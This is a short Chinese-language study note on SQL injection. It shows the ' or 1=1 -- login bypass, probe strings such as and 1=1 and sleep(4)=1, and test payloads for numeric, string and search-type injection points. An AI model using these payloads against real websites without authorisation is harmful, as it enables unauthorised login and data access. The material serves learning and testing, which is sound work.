学习笔记-SQL注入1(注入点类型)
SQL注入示例
通过在用户名出传入参数'or 1=1 -- 进行万能密码登录
select username,passwd from user where username ='text' and password ='text' //正常语句 select username,passwd from user where username ='text' or 1=1 -- ' and password ='text2' //--后面带空格 -- '相当于注释符 select username,passwd from user where username ='text' or 1=1 //最终语句 1=1恒为真结果为TRUE,or或运算,所以结果恒为真
判断一个HTTP请求是否存在SQL注入的方式
经典:and 1=1 | and 2>1 | or 1=1 | or 1<1
数据库:sleep(4)=1 | length(user())>3 //length(user())取当前用户名,如果用户名大于3,返回结果为真
特殊符号:单引号(') 双引号(")
注入点类型分类
数字型(整型)注入
输入的参数为整数,如ID,年龄,页码等
实际查询代码如:select ... from ... where id=$id...
测试:id=1' //数据库报错
id=1 and 1=1 //网站正常显示
id=1 and 1=2 //网站正常没有任何显示
字符型注入
输入的参数为字符串
实际查询代码如:select ... from ... where id='$id'...
测试:id=admin' //id='admin'' 返回错误
id=admin' and '1'='1 //id='admin' and '1'='1' 运行正常
id=admin' and '1'='2 //id='admin' and '1'='2' 异常
搜索型注入
进行数据搜索时没有过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示链接地址,而是直接通过搜索框表单提交
原型大致:select * from 表名 where 字段 like '%关键字%'
注入参数为keyword='and[查询条件] and '%'=',SQL语句为:select * from 表名 where 字段 like '%' and [查询条件] and '%'='%'